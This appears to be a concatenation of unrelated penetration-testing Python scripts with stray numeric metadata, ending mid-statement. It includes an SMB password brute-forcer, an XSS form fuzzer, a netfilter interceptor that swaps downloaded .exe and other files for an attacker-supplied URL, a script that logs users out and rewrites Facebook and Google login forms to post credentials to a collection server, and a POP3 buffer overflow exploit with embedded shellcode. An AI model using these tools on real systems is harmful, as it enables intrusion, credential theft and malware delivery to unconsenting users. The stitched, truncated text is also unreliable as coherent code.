= 1 # language found, increase applicability score elif (sploits[sploit]["lang"] in str(langs)): lang = 1 # language found, increase applicability score if lang == 0: sploitout = sploitout + "**" # added mark if language not detected on system # next check keyword matches to determine if some sploits have a higher probability of success for loc in sploits[sploit]["keywords"]["loc"]: if loc == "proc": for proc in procs: if keyword in proc: highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability break break elif loc == "os": if (keyword in os) or (keyword in kernel): highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability break elif loc == "mnt": if keyword in mount: highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability break else: avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" print print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" for exploit in highprob: print " - " + exploit print print " The following exploits are applicable to this kernel version and should be investigated as well" for exploit in avgprob: print " - " + exploit print print "Finished" print bigline
66.841823
248
0.614172
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from impacket.smbconnection import * from multiprocessing.dummy import Pool from threading import Thread class smb_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list("conf/smb.conf") def smb_connect(self,ip,username,password): crack =0 try: smb = SMBConnection('*SMBSERVER', ip) smb.login(username,password) smb.logoff() crack =1 except Exception, e: self.lock.acquire() print "%s smb 's %s:%s login fail " %(ip,username,password) self.lock.release() return crack def smb_l(self,ip,port): try: for data in self.lines: username=data.split(':')[0] password=data.split(':')[1] if self.smb_connect(ip,username,password)==1: self.lock.acquire() printGreen("%s smb at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.result.append("%s smb at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.lock.release() break except Exception,e: pass def run(self,ipdict,pinglist,threads,file): if len(ipdict['smb']): printPink("crack smb now...") print "[*] start crack smb serice %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['smb']: pool.apply_async(func=self.smb_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop smb serice %s" % time.ctime() print "[*] crack smb done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file) if __name__ == '__main__': import sys sys.path.append("../") from comm.config import * c=config() ipdict={'smb': ['10.211.55.3:445']} pinglist=['101.201.177.35'] test=smb_burp(c) test.run(ipdict,pinglist,50,file="../result/test")
32.833333
125
0.529363
Python-Penetration-Testing-for-Developers
#!/usr/bin/python msg = raw_input('Please enter the string to encode: ') print "Your B64 encoded string is: " + msg.encode('base64')
26
59
0.69403
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import os import sqlite3 import optparse def isMessageTable(iphoneDB): try: conn = sqlite3.connect(iphoneDB) c = conn.cursor() c.execute('SELECT tbl_name FROM sqlite_master \ WHERE type==\"table\";') for row in c: if 'message' in str(row): return True except: return False def printMessage(msgDB): try: conn = sqlite3.connect(msgDB) c = conn.cursor() c.execute('select datetime(date,\'unixepoch\'),\ address, text from message WHERE address>0;') for row in c: date = str(row[0]) addr = str(row[1]) text = row[2] print '\n[+] Date: '+date+', Addr: '+addr \ + ' Message: ' + text except: pass def main(): parser = optparse.OptionParser("usage %prog "+\ "-p <iPhone Backup Directory> ") parser.add_option('-p', dest='pathName',\ type='string',help='specify skype profile path') (options, args) = parser.parse_args() pathName = options.pathName if pathName == None: print parser.usage exit(0) else: dirList = os.listdir(pathName) for fileName in dirList: iphoneDB = os.path.join(pathName, fileName) if isMessageTable(iphoneDB): try: print '\n[*] --- Found Messages ---' printMessage(iphoneDB) except: pass if __name__ == '__main__': main()
24.612903
56
0.516698
cybersecurity-penetration-testing
import mechanize import shelve br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) #br.set_handle_redirect(False) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) s = shelve.open("mohit.xss",writeback=True) for form in br.forms(): print form list_a =[] list_n = [] field = int(raw_input('Enter the number of field "not readonly" ')) for i in xrange(0,field): na = raw_input('Enter the field name, "not readonly" ') ch = raw_input("Do you attack on this field? press Y ") if (ch=="Y" or ch == "y"): list_a.append(na) else : list_n.append(na) br.select_form(nr=0) p =0 flag = 'y' while flag =="y": br.open(url) br.select_form(nr=0) for i in xrange(0, len(list_a)): att=list_a[i] br.form[att] = s['xss'][p] for i in xrange(0, len(list_n)): non=list_n[i] br.form[non] = 'aaaaaaa' print s['xss'][p] br.submit() ch = raw_input("Do you continue press y ") p = p+1 flag = ch.lower()
19.755102
67
0.647638
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : index.py # @Desc : "" from flask import Blueprint, redirect, url_for from fuxi.views.authenticate import login_check index = Blueprint('index', __name__) @index.route('/index') @login_check def view_index(): return redirect(url_for('dashboard.view_dashboard')) @index.route('/') @login_check def view_base(): return redirect(url_for('dashboard.view_dashboard'))
19.125
56
0.659751
hackipy
#!/usr/bin/python3 try: print("[>] Importing required modules") import scapy.all as scapy import netfilterqueue import subprocess import argparse except ModuleNotFoundError: print("[!] Missing modules, Exiting...") exit() else: print("[>] Modules successfully imported") ######################################################################## # User Defined functions ######################################################################## def nothing(): """I said Nothing ;)""" pass def is_root(): """This function will check whether the script was run as root or not""" current_user_id = int(subprocess.check_output(["id","-u"])) if current_user_id == 0: return True else: return False def get_arguments(): """This function will parse arguments from command line and return""" parser = argparse.ArgumentParser(description="All arguments are optional") parser.add_argument("-f","--filetype",help="File type to target for (.exe for example), uses some common filetypes if not provided",dest="filetype") parser.add_argument("-r","--replace",help="Direct download URL for the file that would be replaced with original",dest="replace") parser.add_argument("-io","--inout",help="This argument will order the program to intercept files from INPUT and OUTPUT chain (Packets of your computer) rather than FORWARD chain",dest='io',action='store_true') parser.add_argument("-s","--silent",help="Show less output",dest="mute",action="store_true") parser.add_argument("-d","--display",help="Display the contents of packet before and after intercepting, (Just for depth analysis, can clutter your screen with enormous output)",action="store_true",dest="display") options = parser.parse_args() return options.filetype, options.replace, options.io, options.mute, options.display def check_packet(packet): """This function will be called on HTTP requests to check for request for a file""" # Check the packet for file formats for file_format in file_formats: # If a file format request exists in the packet if file_format in str(packet[scapy.Raw].load): # Add it to the record acknowledge_list.append(packet[scapy.TCP].ack) return file_format def modify_packet(packet): """This function will be called when a response to a requested file will be discovered. It will manipulate the response""" acknowledge_list.remove(packet[scapy.TCP].seq) packet[scapy.Raw].load = f"HTTP/1.1 301 Moved Permanently\nLocation: {replace_url}\n" # Removing the checksums try: del packet[scapy.IP].len del packet[scapy.IP].chksum del packet[scapy.TCP].chksum except: pass # Return the modified packet return packet def process_packet(packet): """This function will be called on every packet in the queue, it will process the packets""" # Convert the packet into scapy packet scapy_packet = scapy.IP(packet.get_payload()) # Check if the packet has Raw layer if scapy_packet.haslayer(scapy.Raw): try: # to check the packet fields to determine # HTTP request if scapy_packet[scapy.TCP].dport == 80: discovered_file_format = check_packet(scapy_packet) if discovered_file_format: print(f"[+] Interceptable {discovered_file_format} found") # HTTP response elif scapy_packet[scapy.TCP].sport == 80: # If it is a response to a recorded file request if scapy_packet[scapy.TCP].seq in acknowledge_list: # Intercept and manipulate it and set it to original packet print("[+] Intercepting file") print(f"[>] Original response : {scapy_packet.show()}") if display_intercepted_packets else nothing() modified_packet = modify_packet(scapy_packet) print(f"[>] Manipulated response : {modified_packet.show()}") if display_intercepted_packets else nothing() packet.set_payload(bytes(modified_packet)) except IndexError: # If these fields doesn't exist pass # Let it go packet.accept() ######################################################################## # The main function ######################################################################## # Global acknowledge_list = [] # Variable to store the ACK of file requesuts # Getting arguments from command line target_filetype, replace_url, io_chain, mute, display_intercepted_packets = get_arguments() # Checking for root privileges if is_root(): nothing() else: print("[!] Please run the script as root") exit() # Checking and validating provided arguments file_formats = [target_filetype] if target_filetype else [".exe", ".pdf", ".zip", ".doc", ".jpg", ".mp4"] while not replace_url: print() # Line break replace_url = input("[>] Enter the direct downloadable link/URL of the replace file : ") display_intercepted_packets = True if display_intercepted_packets else False io_chain = True if io_chain else False mute = True if mute else False # Feedback print() if not mute else nothing() print(f"[>] Filetype/s to target : {file_formats}") if not mute else nothing() print(f"[>] Replace file URL : {replace_url}") if not mute else nothing() print(f"[>] Display intercepted packets : {display_intercepted_packets}") if not mute else nothing() # Creating the queue print() print("[+] Creating a queue") if not mute else nothing() if io_chain: subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 1",shell=True) subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 1",shell=True) else: subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 1",shell=True) # Binding with the queue queue = netfilterqueue.NetfilterQueue() queue.bind(1,process_packet) print("[+] Queue created and binded with program") print() if not mute else nothing() # Running the queue try: queue.run() except KeyboardInterrupt: print("[+] Unbinding the queue") queue.unbind() # Flushing the ip tables and exiting print("[+] Flushing IP tables") subprocess.call("iptables --flush",shell=True)
37.676829
217
0.638127
cybersecurity-penetration-testing
import multiprocessing import time def f(x): t = 0 while t < 10: print "Running ", x, "-", t t += 1 time.sleep(x) if __name__ == '__main__': p1 = multiprocessing.Process(target=f, args=(1,)) p2 = multiprocessing.Process(target=f, args=(2,)) p1.start() time.sleep(0.5) p2.start() while True: if not p2.is_alive(): p1.terminate() break print "Both processes finished"
18.291667
53
0.528139
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-08 05:58 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0007_nmapscan_slug_text'), ] operations = [ migrations.RemoveField( model_name='nmapscan', name='slug_text', ), migrations.AddField( model_name='nmapscan', name='slug', field=models.SlugField(default='', max_length=128), preserve_default=False, ), ]
22.269231
63
0.566225
cybersecurity-penetration-testing
import win32com.client import time import urlparse import urllib data_receiver = "http://localhost:8080/" target_sites = {} target_sites["www.facebook.com"] = \ {"logout_url" : None, "logout_form" : "logout_form", "login_form_index": 0, "owned" : False} target_sites["accounts.google.com"] = \ {"logout_url" : "https://accounts.google.com/Logout?hl=en&continue=https://accounts.google.com/ServiceLogin%3Fservice%3Dmail", "logout_form" : None, "login_form_index" : 0, "owned" : False} target_sites["www.gmail.com"] = target_sites["accounts.google.com"] target_sites["mail.google.com"] = target_sites["accounts.google.com"] clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) def wait_for_browser(browser): # wait for the browser to finish loading a page while browser.ReadyState != 4 and browser.ReadyState != "complete": time.sleep(0.1) return while True: for browser in windows: url = urlparse.urlparse(browser.LocationUrl) if url.hostname in target_sites: if target_sites[url.hostname]["owned"]: continue # if there is an URL we can just redirect if target_sites[url.hostname]["logout_url"]: browser.Navigate(target_sites[url.hostname]["logout_url"]) wait_for_browser(browser) else: # retrieve all elements in the document full_doc = browser.Document.all # iterate looking for the logout form for i in full_doc: try: # find the logout form and submit it if i.id == target_sites[url.hostname]["logout_form"]: i.submit() wait_for_browser(browser) except: pass try: # now we modify the login form login_index = target_sites[url.hostname]["login_form_index"] login_page = urllib.quote(browser.LocationUrl) browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page) target_sites[url.hostname]["owned"] = True except: pass time.sleep(5)
29.3375
136
0.550289
SNAP_R
# THIS PROGRAM IS TO BE USED FOR EDUCATIONAL PURPOSES ONLY. # CAN BE USED FOR INTERNAL PEN-TESTING, STAFF RECRUITMENT, SOCIAL ENGAGEMENT import sklearn.pipeline import sklearn.metrics import sklearn.cluster import datetime import sklearn.metrics import sklearn.grid_search import sklearn.base import sklearn.feature_extraction def create_transformers(): return [ ('created_at', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'created_at')), ('preprocessor', CreatedAtPreprocessor()), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('followers_count', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_intfield, 'followers_count')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('listed_count', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_intfield, 'listed_count')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('favourites_count', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_intfield, 'favourites_count')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('statuses_count', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_intfield, 'statuses_count')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('friends_count', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_intfield, 'friends_count')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('location', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_location, 'location')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_background_color', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_background_color')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_link_color', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_link_color')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_sidebar_fill_color', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_sidebar_fill_color')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_sidebar_border_color', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_sidebar_border_color')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_text_color', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_text_color')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('verified', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'verified')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('default_profile_image', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'default_profile_image')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('default_profile', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'default_profile')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('geo_enabled', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'geo_enabled')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('contributors_enabled', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'contributors_enabled')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('protected', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'protected')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('is_translator', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'is_translator')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('lang', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'lang')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('time_zone', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_time_zone, 'time_zone')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('has_extended_profile', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'has_extended_profile')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_use_background_image', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_use_background_image')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('is_translation_enabled', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'is_translation_enabled')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])), ('profile_background_tile', sklearn.pipeline.Pipeline([ ('selector', ItemSelector(get_field, 'profile_background_tile')), ('vectorizer', sklearn.feature_extraction.DictVectorizer()) ])) ] class ItemSelector(sklearn.base.BaseEstimator, sklearn.base.TransformerMixin): ''' For data grouped by feature, select subset of data ''' def __init__(self, func, field_name=None): self.func = func self.field_name = field_name def fit(self, X, y=None): return self def transform(self, data_dict): return self.func(data_dict, self.field_name) class CreatedAtPreprocessor(sklearn.base.BaseEstimator, sklearn.base.TransformerMixin): ''' Preprocess features from created_at document ''' def fit(self, X): return self def transform(self, corpus): for document in corpus: yield self._transform_document(document) def _transform_document(self, document, hours_in_day=24, seconds_in_hour=3600): current_time = datetime.datetime.now() t_delta = current_time - self._convert(document['created_at']) document['created_at'] = \ t_delta.days * hours_in_day * seconds_in_hour + t_delta.seconds return document def _convert(self, time_string): return datetime.datetime.strptime(time_string, "%a %b %d %H:%M:%S +0000 %Y") def get_intfield(corpus, field_name): for document in corpus: yield {field_name: int(document[field_name])} def get_field(corpus, field_name): for document in corpus: yield {field_name: document[field_name]} def get_location(corpus, field_name): for document in corpus: if document[field_name]: yield {field_name: 1} else: yield {field_name: 0} def get_time_zone(corpus, field_name): for document in corpus: if document[field_name]: yield {field_name: document[field_name]} else: yield {field_name: 'None'} class Parameterize(sklearn.base.ClusterMixin): def __init__(self, scoring=sklearn.metrics.silhouette_score, n_iter=4): self.parameters = { 'scoring': scoring, 'n_iter': n_iter } def clusterer_choices(self): parameter_distributions = { sklearn.cluster.KMeans: { 'n_clusters': [2, 3, 4, 5], 'init': ['k-means++'], 'n_init': [10], 'max_iter': [300], 'tol': [0.0001], 'precompute_distances': ['auto'] }, sklearn.cluster.Birch: { 'threshold': [0.1, 0.50], 'branching_factor': [50], 'n_clusters': [2, 3, 4, 5], 'compute_labels': [True], 'copy': [True] } } return parameter_distributions.items() def fit(self, X, y=None): silhouette_scores = {} scored_models = {} for clusterer_algo, clusterer_hyperparams in self.clusterer_choices(): for hyperparam_grid in list(sklearn.grid_search.ParameterSampler( clusterer_hyperparams, n_iter=self.parameters['n_iter'])): clusterer = clusterer_algo(**hyperparam_grid) cluster_labels = clusterer.fit_predict(X) silhouette_scores[clusterer] = \ self.parameters['scoring'](X, cluster_labels) scored_models[clusterer] = clusterer self.cluster_choice = scored_models[max(silhouette_scores, key=silhouette_scores.get)] return self def predict(self, X, y=None): return self.cluster_choice.predict(X)
40.521739
78
0.585087
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 buf = "" buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf" buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d" buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\x4e" buf += "\x10\x5a\x52\x61\xa1\xf7\xa6\xe0\x21\x0a\xfb\xc2\x18" buf += "\xc5\x0e\x03\x5c\x38\xe2\x51\x35\x36\x51\x45\x32\x02" buf += "\x6a\xee\x08\x82\xea\x13\xd8\xa5\xdb\x82\x52\xfc\xfb" buf += "\x25\xb6\x74\xb2\x3d\xdb\xb1\x0c\xb6\x2f\x4d\x8f\x1e" buf += "\x7e\xae\x3c\x5f\x4e\x5d\x3c\x98\x69\xbe\x4b\xd0\x89" buf += "\x43\x4c\x27\xf3\x9f\xd9\xb3\x53\x6b\x79\x1f\x65\xb8" buf += "\x1c\xd4\x69\x75\x6a\xb2\x6d\x88\xbf\xc9\x8a\x01\x3e" buf += "\x1d\x1b\x51\x65\xb9\x47\x01\x04\x98\x2d\xe4\x39\xfa" buf += "\x8d\x59\x9c\x71\x23\x8d\xad\xd8\x2c\x62\x9c\xe2\xac" buf += "\xec\x97\x91\x9e\xb3\x03\x3d\x93\x3c\x8a\xba\xd4\x16" buf += "\x6a\x54\x2b\x99\x8b\x7d\xe8\xcd\xdb\x15\xd9\x6d\xb0" buf += "\xe5\xe6\xbb\x17\xb5\x48\x14\xd8\x65\x29\xc4\xb0\x6f" buf += "\xa6\x3b\xa0\x90\x6c\x54\x4b\x6b\xe7\x9b\x24\x89\x67" buf += "\x73\x37\x6d\x99\xd8\xbe\x8b\xf3\xf0\x96\x04\x6c\x68" buf += "\xb3\xde\x0d\x75\x69\x9b\x0e\xfd\x9e\x5c\xc0\xf6\xeb" buf += "\x4e\xb5\xf6\xa1\x2c\x10\x08\x1c\x58\xfe\x9b\xfb\x98" buf += "\x89\x87\x53\xcf\xde\x76\xaa\x85\xf2\x21\x04\xbb\x0e" buf += "\xb7\x6f\x7f\xd5\x04\x71\x7e\x98\x31\x55\x90\x64\xb9" buf += "\xd1\xc4\x38\xec\x8f\xb2\xfe\x46\x7e\x6c\xa9\x35\x28" buf += "\xf8\x2c\x76\xeb\x7e\x31\x53\x9d\x9e\x80\x0a\xd8\xa1" buf += "\x2d\xdb\xec\xda\x53\x7b\x12\x31\xd0\x8b\x59\x1b\x71" buf += "\x04\x04\xce\xc3\x49\xb7\x25\x07\x74\x34\xcf\xf8\x83" buf += "\x24\xba\xfd\xc8\xe2\x57\x8c\x41\x87\x57\x23\x61\x82" buffer='A'*2606 + '\x8f\x35\x4a\x5f' + "\x90"*8 +buf if 1: print"Fuzzing PASS with %s bytes" % len(string) #print str(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.send('USER root \r\n') data=s.recv(1024) print str(data) s.send('PASS ' + buffer + '\r\n') #data=s.recv(1024) #print str(data) print "done" #s.send('QUIT\r\n') s.close()
35.885246
61
0.650956
cybersecurity-penetration-testing
import subprocess import sys ipfile = sys.argv[1] IPs = open(ipfile, "r") output = open("sslscan.csv", "w+") for IP in IPs: try: command = "sslscan "+IP ciphers = subprocess.check_output(command.split()) for line in ciphers.splitlines(): if "Accepted" in line: output.write(IP+","+line.split()[1]+","+line.split()[4]+","+line.split()[2]+"\r") except: pass
18.947368
85
0.632275
cybersecurity-penetration-testing
import exif_parser import id3_parser import office_parser
18.333333
20
0.859649
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Penetration_Testing
#!/usr/bin/python ''' Caesar Cipher encryption and decryption. ''' import sys def getOption(): do = raw_input("Do you wish to encrypt or decrypt a message?\n").lower() if do in "encrypt e decrypt d".split(): return do elif do in "No no Quit quit exit Exit".split(): sys.exit(0) else: print "Enter either 'encrypt' or 'e' or 'decrypt' or 'd'." def getMessage(): print "Enter your message:" return raw_input() def getKey(): MAX_KEY_SIZE = 26 key = 0 print "Enter the key number (1-{})".format(MAX_KEY_SIZE) key = int(raw_input()) if key >= 1 and key <= MAX_KEY_SIZE: return key def getConvertedMessage(do, message, key): if do[0] == 'd': key = -key converted = "" for symbol in message: if symbol.isalpha(): num = ord(symbol) num += key if symbol.isupper(): if num > ord('Z'): num -= 26 elif num < ord('A'): num += 26 elif symbol.islower(): if num > ord('z'): num -= 26 elif num < ord('a'): num += 26 converted += chr(num) else: converted += symbol return converted do = getOption() message = getMessage() key = getKey() print "Your converted text is:" print getConvertedMessage(do, message, key)
15.887324
73
0.616027
Ethical-Hacking-Scripts
import subprocess, re item = subprocess.run(["netsh","wlan","show","profiles"],capture_output=True).stdout.decode() prof_names = (re.findall("All User Profile : (.*)\r", item)) passwords = [] check_networks = [] for i in prof_names: item = subprocess.run(["netsh", "wlan", "show", "profiles",i], capture_output=True).stdout.decode() security_key = False security_key_present = (re.findall("Security key : (.*)\r", item)) if security_key_present[0] == "Present": check_networks.append(i) else: pass for i in check_networks: item = subprocess.run(["netsh","wlan","show","profiles",i,"key=clear"],capture_output=True).stdout.decode() wifi_pass = (re.findall("Key Content : (.*)\r",item)) wifi_pass = wifi_pass[0] info = {'ssid': i, 'key': wifi_pass} passwords.append(info) main_msg = "" for i in passwords: main_msg = main_msg + str(i) + "," main_msg = f"Wifi Passwords: {main_msg}" print(main_msg)
40.833333
112
0.60319
cybersecurity-penetration-testing
from datetime import datetime import os from time import gmtime, strftime from PIL import Image import processors __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts parses embedded EXIF metadata from compatible objects' def exifParser(filename): """ The exifParser function confirms the file type and sends it to be processed. :param filename: name of the file potentially containing EXIF metadata. :return: A dictionary from getTags, containing the embedded EXIF metadata. """ # JPEG signatures signatures = ['ffd8ffdb','ffd8ffe0', 'ffd8ffe1', 'ffd8ffe2', 'ffd8ffe3', 'ffd8ffe8'] if processors.utility.checkHeader(filename, signatures, 4) == True: return getTags(filename) else: print 'File signature does not match known JPEG signatures.' raise TypeError('File signature does not match JPEG object.') def getTags(filename): """ The getTags function extracts the EXIF metadata from the data object. :param filename: the path and name to the data object. :return: tags and headers, tags is a dictionary containing EXIF metadata and headers are the order of keys for the CSV output. """ # Set up CSV headers headers = ['Path', 'Name', 'Size', 'Filesystem CTime', 'Filesystem MTime', 'Original Date', 'Digitized Date', 'Make', 'Model', 'Software', 'Latitude', 'Latitude Reference', 'Longitude', 'Longitude Reference', 'Exif Version', 'Height', 'Width', 'Flash', 'Scene Type'] image = Image.open(filename) # Detects if the file is corrupt without decoding the data image.verify() # Descriptions and values of EXIF tags: http://www.exiv2.org/tags.html exif = image._getexif() tags = {} tags['Path'] = filename tags['Name'] = os.path.basename(filename) tags['Size'] = processors.utility.convertSize(os.path.getsize(filename)) tags['Filesystem CTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getctime(filename))) tags['Filesystem MTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getmtime(filename))) if exif: for tag in exif.keys(): if tag == 36864: tags['Exif Version'] = exif[tag] elif tag == 36867: dt = datetime.strptime(exif[tag], '%Y:%m:%d %H:%M:%S') tags['Original Date'] = dt.strftime('%m/%d/%Y %H:%M:%S') elif tag == 36868: dt = datetime.strptime(exif[tag], '%Y:%m:%d %H:%M:%S') tags['Digitized Date'] = dt.strftime('%m/%d/%Y %H:%M:%S') elif tag == 41990: # Scene tags: http://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/scenecapturetype.html scenes = {0: 'Standard', 1: 'Landscape', 2: 'Portrait', 3: 'Night Scene'} if exif[tag] in scenes: tags['Scene Type'] = scenes[exif[tag]] else: pass elif tag == 37385: # Flash tags: http://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/flash.html flash = {0: 'Flash did not fire', 1: 'Flash fired', 5: 'Strobe return light not detected', 7: 'Strobe return light detected', 9: 'Flash fired, compulsory flash mode', 13: 'Flash fired, compulsory flash mode, return light not detected', 15: 'Flash fired, compulsory flash mode, return light detected', 16: 'Flash did not fire, compulsory flash mode', 24: 'Flash did not fire, auto mode', 25: 'Flash fired, auto mode', 29: 'Flash fired, auto mode, return light not detected', 31: 'Flash fired, auto mode, return light detected', 32: 'No flash function', 65: 'Flash fired, red-eye reduction mode', 69: 'Flash fired, red-eye reduction mode, return light not detected', 71: 'Flash fired, red-eye reduction mode, return light detected', 73: 'Flash fired, compulsory flash mode, red-eye reduction mode', 77: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected', 79: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected', 89: 'Flash fired, auto mode, red-eye reduction mode', 93: 'Flash fired, auto mode, return light not detected, red-eye reduction mode', 95: 'Flash fired, auto mode, return light detected, red-eye reduction mode'} if exif[tag] in flash: tags['Flash'] = flash[exif[tag]] elif tag == 271: tags['Make'] = exif[tag] elif tag == 272: tags['Model'] = exif[tag] elif tag == 305: tags['Software'] = exif[tag] elif tag == 40962: tags['Width'] = exif[tag] elif tag == 40963: tags['Height'] = exif[tag] elif tag == 34853: for gps in exif[tag]: if gps == 1: tags['Latitude Reference'] = exif[tag][gps] elif gps == 2: tags['Latitude'] = dmsToDecimal(exif[tag][gps]) elif gps == 3: tags['Longitude Reference'] = exif[tag][gps] elif gps == 4: tags['Longitude'] = dmsToDecimal(exif[tag][gps]) else: pass return tags, headers # http://resources.arcgis.com/EN/HELP/MAIN/10.1/index.html#//003r00000005000000 def dmsToDecimal(dms): """ Converts GPS Degree Minute Seconds format to Decimal format. :param dms: The GPS data in Degree Minute Seconds format. :return: The decimal formatted GPS coordinate. """ deg, min, sec = [x[0] for x in dms] if deg > 0: return "{0:.5f}".format(deg + (min / 60.) + (sec / 3600000.)) else: return "{0:.5f}".format(deg - (min / 60.) - (sec / 3600000.))
47.945313
117
0.562101
Python-Penetration-Testing-Cookbook
from scapy.all import * host = 'www.dvwa.co.uk' ip = socket.gethostbyname(host) openp = [] filterdp = [] common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 123, 137, 138, 139, 143, 156, 161, 389, 443, 445, 500, 546, 547, 587, 660, 995, 993, 2086, 2087, 2082, 2083, 3306, 8443, 10000 } def is_up(ip): icmp = IP(dst=ip)/ICMP() resp = sr1(icmp, timeout=10) if resp == None: return False else: return True def probe_port(ip, port, result = 1): src_port = RandShort() try: p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='FPU') resp = sr1(p, timeout=2) # Sending packet if str(type(resp)) == "<type 'NoneType'>": result = 1 elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x14: result = 0 elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): result = 2 except Exception as e: pass return result if __name__ == '__main__': conf.verb = 0 if is_up(ip): for port in common_ports: print (port) response = probe_port(ip, port) if response == 1: openp.append(port) elif response == 2: filterdp.append(port) if len(openp) != 0: print 